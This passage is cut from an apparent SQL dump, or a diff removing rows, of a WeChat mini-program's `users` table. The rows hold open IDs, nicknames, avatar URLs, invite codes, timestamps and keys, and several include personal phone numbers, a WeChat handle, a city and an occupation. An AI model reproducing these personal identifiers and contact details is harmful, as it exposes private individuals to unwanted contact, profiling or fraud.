NULL, NULL, NULL, NULL, 'SOULZVAIDS', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:35', '2026-03-07 01:26:35', NULL, '4KqMCh1cHfwSQ0QcngAa+w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bKCQWpIa9SMulB02bdsrRk', 'ogpTW5bKCQWpIa9SMulB02bdsrRk', '微信用户srRk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBDSRRK', '[]', 0, 0.00, 0.00, 0, '2026-02-12 10:12:47', '2026-02-12 10:12:47', NULL, 'EB72hT617Ezu+HWtTNZ9fA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', '微信用户l_dM', '', '15559167826', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL59L_DM', '[]', 0, 0.00, 0.00, 0, '2026-03-10 10:58:14', '2026-03-11 02:48:50', NULL, 'mSowFSn6C9Tlk6iRxEA8mA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bTVAL4LlYxH3EEweBrohHo', 'ogpTW5bTVAL4LlYxH3EEweBrohHo', '微信用户ohHo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBROHHO', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:50:12', '2026-02-13 06:50:12', NULL, '8F37te6o/+RMqdxWrZU11A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bUDkh9ATsOGHwrjYp2Z8r0', 'ogpTW5bUDkh9ATsOGHwrjYp2Z8r0', '微信用户Z8r0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULP2Z8R0', '[]', 0, 0.00, 0.00, 0, '2026-03-10 09:53:34', '2026-03-10 09:53:34', NULL, 'PJDfCfMYteZ/3j1BT9RC6g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5bWCYxnHOCGzPDaVHl9X0XA', 'ogpTW5bWCYxnHOCGzPDaVHl9X0XA', '微信用户X0XA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULL9X0XA', '[]', 0, 0.00, 0.00, 0, '2026-03-10 08:16:35', '2026-03-10 08:16:35', NULL, '5xSD0M4FAeZ9zFS3yXd3IA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cBt44nWhhdjdYvdtIG5a4E', 'ogpTW5cBt44nWhhdjdYvdtIG5a4E', '微信用户5a4E', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIG5A4E', '[]', 0, 0.00, 0.00, 0, '2026-03-06 23:17:40', '2026-03-06 23:17:40', NULL, 'VTWisKv/TlmygPpQcWObRg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cQcdRzpGhX6N_ye8mEF_Pc', 'ogpTW5cQcdRzpGhX6N_ye8mEF_Pc', '微信用户F_Pc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMEF_PC', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:21:58', '2026-03-07 01:21:58', NULL, 'XiZN7cCTrRldEvQzDklNHA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', '微信用户JHqI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOCJHQI', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:10:16', '2026-03-07 01:10:16', NULL, 'pv1NRsUwjG1LlyTbQFZCGw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '少年梦想家', 'https://soulapi.quwanzhi.com/uploads/avatars/1772530948799277155_3zsv3v.jpeg', '', 'xyz469003865', 'ISFP', '厦门', '互联网', '产品负责人', '', '', '', '', '', '产品设计、产品优化、AI咨询', '中老年直播带货合作', '', 'SOULDKWGSE', '[]', 0, 0.00, 0.00, 2, '2026-02-13 01:36:27', '2026-03-11 10:34:52', NULL, 'hUBH+K465yp+Y0ZOT+wdZw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-03-05 12:05:40', NULL, NULL, NULL, NULL, NULL, 0, 0, '2026-03-05 12:05:40', 3, NULL); -INSERT INTO `users` VALUES ('ogpTW5cVH5MPuucs9h6ksFeTAaJc', 'ogpTW5cVH5MPuucs9h6ksFeTAaJc', '微信用户AaJc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULETAAJC', '[]', 0, 0.00, 0.00, 0, '2026-03-06 09:12:12', '2026-03-06 09:12:12', NULL, 'SPL7ncIjYO2eyWL0FJReJQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '微信用户8aho', 'https://soulapi.quwanzhi.com/uploads/avatars/1772772823793203887_bu9f02.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMO8AHO', '[\"8.1\", \"9.12\", \"10.3\", \"9.13\"]', 0, 0.00, 0.00, 0, '2026-01-29 11:44:57', '2026-03-10 05:20:35', NULL, 'NvxWU0H48JdD3L4/SQF5Fw==', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2028-01-09 16:00:00', NULL, NULL, NULL, NULL, NULL, 0, 0, '2026-03-10 05:20:35', NULL, '投资人'); -INSERT INTO `users` VALUES ('ogpTW5dBNnNpqttcxUbMBlG75Q38', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '微信用户5Q38', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULG75Q38', '[]', 0, 0.00, 0.00, 0, '2026-02-12 09:37:11', '2026-03-05 06:29:50', NULL, 'QSV1N/2blO5yuOfxWgtVJw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dQHHM01yEuziMTiTYxqNEc', 'ogpTW5dQHHM01yEuziMTiTYxqNEc', '微信用户qNEc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULYXQNEC', '[]', 0, 0.00, 0.00, 0, '2026-03-03 02:36:00', '2026-03-03 02:36:00', NULL, '+IvCkF/55G9eF5tlaKShmw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '微信用户Mskc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZAMSKC', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:47:11', '2026-03-05 04:26:19', NULL, 'TsJBLJsoRWv0yd5p/xBfdw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dW9Fd_igNkpN0-2-JQ_fYw', 'ogpTW5dW9Fd_igNkpN0-2-JQ_fYw', '微信用户_fYw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJQ_FYW', '[]', 0, 0.00, 0.00, 0, '2026-03-05 06:44:02', '2026-03-05 06:44:02', NULL, 'XCUgM6pxQsD+5uiiDkhlIQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dY46gEJEaP_a45t6QrbAGk', 'ogpTW5dY46gEJEaP_a45t6QrbAGk', '微信用户bAGk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULQRBAGK', '[]', 0, 0.00, 0.00, 0, '2026-03-10 22:50:11', '2026-03-10 22:50:11', NULL, 'c2WWjEz0w79ew34gCjNXrg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5dyhaEK1KPQY0MAuo9ejCxc', 'ogpTW5dyhaEK1KPQY0MAuo9ejCxc', '微信用户jCxc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL9EJCXC', '[]', 0, 0.00, 0.00, 0, '2026-02-28 02:15:11', '2026-02-28 02:15:11', NULL, 'vlyJG81RF5fGCGXzMIiosw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e_UvZ4KgAa8o8GK4gtRBEY', 'ogpTW5e_UvZ4KgAa8o8GK4gtRBEY', '微信用户RBEY', 'https://soulapi.quwanzhi.com/uploads/avatars/1770709065982767338_7eri1w.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGTRBEY', '[]', 0, 0.00, 0.00, 0, '2026-02-10 07:37:42', '2026-02-10 07:37:46', NULL, 'g1o3q+RKUVe7y5UeCccG+g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e1K5ypOJjspJ6wNcD_LTkU', 'ogpTW5e1K5ypOJjspJ6wNcD_LTkU', '微信用户LTkU', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULD_LTKU', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:24:17', '2026-03-07 01:24:17', NULL, 'sVI8zGC88lJnHz5BFcS87A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e7jIDX6gvAtadRy1pJkjvI', 'ogpTW5e7jIDX6gvAtadRy1pJkjvI', '微信用户kjvI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULPJKJVI', '[]', 0, 0.00, 0.00, 0, '2026-01-31 10:43:30', '2026-01-31 10:43:30', NULL, 'NfaAOvPqQoypccGre5QlHA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'wong', 'https://soulapi.quwanzhi.com/uploads/avatars/1772703996161068954_a3a9v2.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULCSFQP0', '[]', 0, 0.00, 0.00, 0, '2026-02-04 16:15:39', '2026-03-05 09:46:36', NULL, 'uiH9wLKrJcflI3L3JQEGdw==', '', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', '微信用户aLeM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGOALEM', '[]', 0, 0.00, 0.00, 0, '2026-02-18 02:12:16', '2026-02-18 02:12:16', NULL, 'jDg+M5xiJxYfNbNgHtmCVw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', '微信用户ei-4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULHBEI-4', '[]', 0, 0.00, 0.00, 0, '2026-03-05 04:26:49', '2026-03-05 04:26:49', NULL, 'eBYGHBKAi/GzqV2x4QPWUA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', '微信用户CBZY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULSXCBZY', '[\"9.13\", \"8.1\"]', 0, 0.00, 0.00, 0, '2026-02-05 08:57:05', '2026-02-05 09:09:39', NULL, 'd5MS4wv1+AzdM7x0kswc2A==', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eIOA-Tc94PEBqn2DbLs8X0', 'ogpTW5eIOA-Tc94PEBqn2DbLs8X0', '微信用户s8X0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBLS8X0', '[]', 0, 0.00, 0.00, 0, '2026-01-31 19:39:06', '2026-03-05 04:26:45', NULL, 'eNNGKfpY3ttto4Bj7Vb0fQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5enUogenRCFwciHdLMiXgvw', 'ogpTW5enUogenRCFwciHdLMiXgvw', '微信用户Xgvw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMIXGVW', '[]', 0, 0.00, 0.00, 0, '2026-02-09 12:09:35', '2026-03-05 06:30:16', NULL, '0OTFdZTZz1135+S+bfv2Uw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eol-HCHbPuAYXGpYoOZL_o', 'ogpTW5eol-HCHbPuAYXGpYoOZL_o', '微信用户ZL_o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOOZL_O', '[]', 0, 0.00, 0.00, 0, '2026-01-31 13:52:35', '2026-01-31 13:52:35', NULL, 'NF/7IQe6uiaD8yUEm9okLA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ePHjo6qs-nB-6yEtXv0mfg', 'ogpTW5ePHjo6qs-nB-6yEtXv0mfg', '微信用户0mfg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULXV0MFG', '[]', 0, 0.00, 0.00, 0, '2026-03-05 06:48:55', '2026-03-05 06:48:55', NULL, '2q/RQHkWjci6BOGpLYnbZA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eSmKSUk9oZo-EzgUeDDs0Q', 'ogpTW5eSmKSUk9oZo-EzgUeDDs0Q', '微信用户Ds0Q', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEDDS0Q', '[]', 0, 0.00, 0.00, 0, '2026-02-02 15:56:53', '2026-02-02 15:56:54', NULL, 'lEYany00Y+MSDlFGkMqXZg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5etDs6mN-0BQMw49gw56zZM', 'ogpTW5etDs6mN-0BQMw49gw56zZM', '微信用户6zZM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULW56ZZM', '[]', 0, 0.00, 0.00, 0, '2026-03-10 10:42:45', '2026-03-10 10:42:45', NULL, 'FwH7PMBjfZMwRfQO1UDVkQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5euHvDRj0yXH9GiSM2rlnmU', 'ogpTW5euHvDRj0yXH9GiSM2rlnmU', '微信用户lnmU', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL2RLNMU', '[]', 0, 0.00, 0.00, 0, '2026-03-10 07:06:23', '2026-03-10 07:06:23', NULL, 'jXbEthCISTxjzv12BKuskA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5euxUBHS7fOOXMjUWijBN9g', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', '微信用户BN9g', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIJBN9G', '[\"9.14\"]', 0, 0.00, 0.00, 0, '2026-01-30 09:38:14', '2026-01-31 09:18:25', NULL, 'ijglwuYlzfI+pYp0sNsYrA==', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eVttIThJZivHtAredPgYDk', 'ogpTW5eVttIThJZivHtAredPgYDk', '微信用户gYDk', '', '14708706724', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDPGYDK', '[]', 0, 0.00, 0.00, 0, '2026-03-08 22:53:52', '2026-03-10 13:45:07', NULL, 'aRMhAn6CVLfS+iWD7ViceA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5eXhulw9ION9WSGQitno4WE', 'ogpTW5eXhulw9ION9WSGQitno4WE', '微信用户o4WE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTNO4WE', '[]', 0, 0.00, 0.00, 0, '2026-01-30 08:30:44', '2026-01-30 08:30:44', NULL, 'GXGydyY9+cuF0k5py5sDmQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5exPA4gpOu-jJyHRnG9qVD0', 'ogpTW5exPA4gpOu-jJyHRnG9qVD0', '微信用户qVD0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULG9QVD0', '[]', 0, 0.00, 0.00, 0, '2026-03-02 00:04:54', '2026-03-02 00:04:54', NULL, 'me+LD5S95aKvAcTwF+NNzw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fcAcV1tYoNLdzVyPil3JSM', 'ogpTW5fcAcV1tYoNLdzVyPil3JSM', '微信用户3JSM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULIL3JSM', '[]', 0, 0.00, 0.00, 0, '2026-03-06 04:35:37', '2026-03-06 04:35:37', NULL, 'AdnsgK9s/sk9jZueC69v1A==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fEgNmFSsCS_BfRPwFL52do', 'ogpTW5fEgNmFSsCS_BfRPwFL52do', '微信用户52do', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULFL52DO', '[\"11.1\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:54:06', '2026-02-24 08:54:15', NULL, '0croATcMa+BvWSA0Rf11LQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fJRS3NfqhpDA3ivxnmVJf0', 'ogpTW5fJRS3NfqhpDA3ivxnmVJf0', '微信用户VJf0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNMVJF0', '[]', 0, 0.00, 0.00, 0, '2026-01-30 06:46:49', '2026-03-10 12:20:17', NULL, 'NoNN/vOYIwZAMzRQgxbPVg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', 'https://soulapi.quwanzhi.com/uploads/avatars/1772691374674588840_lkkji7.jpeg', '13144454423', '', '', '', '', '', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNVE5TG', '[]', 0, 0.00, 0.00, 4, '2026-02-04 16:19:12', '2026-03-10 12:15:15', NULL, 'Pm0noEThI4ThARqEzJBSqw==', NULL, 0, 0, NULL, 7.10, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', '微信用户VV4g', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULGSVV4G', '[]', 0, 0.00, 0.00, 0, '2026-02-23 06:07:15', '2026-02-23 06:07:16', NULL, 'UvkvKK5O+X69TjWj3zQiVQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fNVaJpEW-DyxGUKi-pNB2o', 'ogpTW5fNVaJpEW-DyxGUKi-pNB2o', '微信用户NB2o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL-PNB2O', '[]', 0, 0.00, 0.00, 0, '2026-02-11 09:47:08', '2026-02-11 09:47:08', NULL, 'gWIGXVX3Qag/tcTURDk1Ug==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fs2EgTNc_kN67Hn3Oybwi0', 'ogpTW5fs2EgTNc_kN67Hn3Oybwi0', '微信用户bwi0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULOYBWI0', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:39:17', '2026-02-26 09:39:17', NULL, 'oNyYUp1r9F573q51PsSrfA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5fVouZKgdt5wBTPdT5LSJso', 'ogpTW5fVouZKgdt5wBTPdT5LSJso', '微信用户SJso', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL5LSJSO', '[]', 0, 0.00, 0.00, 0, '2026-02-02 10:07:26', '2026-02-12 09:37:41', NULL, 'AcoOPkNOib6Zq1+00TWGyA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', 'ogpTW5Q8Tc-k5mRaq4GLleBhUc5w', '微信用户Uc5w', '', NULL, NULL, NULL, NULL, NULL, 